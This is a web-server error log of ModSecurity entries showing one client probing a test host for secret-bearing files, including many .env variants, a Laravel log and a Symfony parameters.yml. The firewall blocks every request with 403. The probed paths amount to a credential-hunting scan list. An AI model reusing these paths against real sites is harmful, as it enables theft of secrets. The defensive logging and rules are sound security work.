[Sat Jul 26 14:23:45.723688 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JgAAAAM&quot;]
[Sat Jul 26 14:23:45.723869 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JgAAAAM&quot;]
[Sat Jul 26 14:23:45.745623 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JwAAAAM&quot;]
[Sat Jul 26 14:23:45.745831 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JwAAAAM&quot;]
[Sat Jul 26 14:23:45.746001 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9JwAAAAM&quot;]
[Sat Jul 26 14:23:45.767887 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KAAAAAM&quot;]
[Sat Jul 26 14:23:45.768098 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KAAAAAM&quot;]
[Sat Jul 26 14:23:45.768319 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KAAAAAM&quot;]
[Sat Jul 26 14:23:45.790000 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KQAAAAM&quot;]
[Sat Jul 26 14:23:45.790201 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KQAAAAM&quot;]
[Sat Jul 26 14:23:45.790387 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KQAAAAM&quot;]
[Sat Jul 26 14:23:45.812230 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KgAAAAM&quot;]
[Sat Jul 26 14:23:45.812500 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KgAAAAM&quot;]
[Sat Jul 26 14:23:45.812699 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9KgAAAAM&quot;]
[Sat Jul 26 14:23:45.857274 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LAAAAAM&quot;]
[Sat Jul 26 14:23:45.857500 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LAAAAAM&quot;]
[Sat Jul 26 14:23:45.857685 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LAAAAAM&quot;]
[Sat Jul 26 14:23:45.902270 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LgAAAAM&quot;]
[Sat Jul 26 14:23:45.902583 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LgAAAAM&quot;]
[Sat Jul 26 14:23:45.902788 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LgAAAAM&quot;]
[Sat Jul 26 14:23:45.924562 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LwAAAAM&quot;]
[Sat Jul 26 14:23:45.924783 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LwAAAAM&quot;]
[Sat Jul 26 14:23:45.924979 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9LwAAAAM&quot;]
[Sat Jul 26 14:23:45.946832 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9MAAAAAM&quot;]
[Sat Jul 26 14:23:45.947078 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9MAAAAAM&quot;]
[Sat Jul 26 14:23:45.947251 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9MAAAAAM&quot;]
[Sat Jul 26 14:23:45.969373 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9MQAAAAM&quot;]
[Sat Jul 26 14:23:45.969634 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9MQAAAAM&quot;]
[Sat Jul 26 14:23:45.969825 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9MQAAAAM&quot;]
[Sat Jul 26 14:23:47.112155 2025] [:error] [pid 1466107] [client 185.177.72.115:59528] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aITI0-WwZyhSDhmHhJ_1OQAAAAI&quot;]
[Sat Jul 26 14:23:47.112515 2025] [:error] [pid 1466107] [client 185.177.72.115:59528] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aITI0-WwZyhSDhmHhJ_1OQAAAAI&quot;]
[Sat Jul 26 14:23:47.112703 2025] [:error] [pid 1466107] [client 185.177.72.115:59528] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aITI0-WwZyhSDhmHhJ_1OQAAAAI&quot;]
[Sat Jul 26 14:23:48.214641 2025] [:error] [pid 1466140] [client 185.177.72.115:59546] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aITI1DHEi-oO89cLoESBxwAAAAU&quot;]
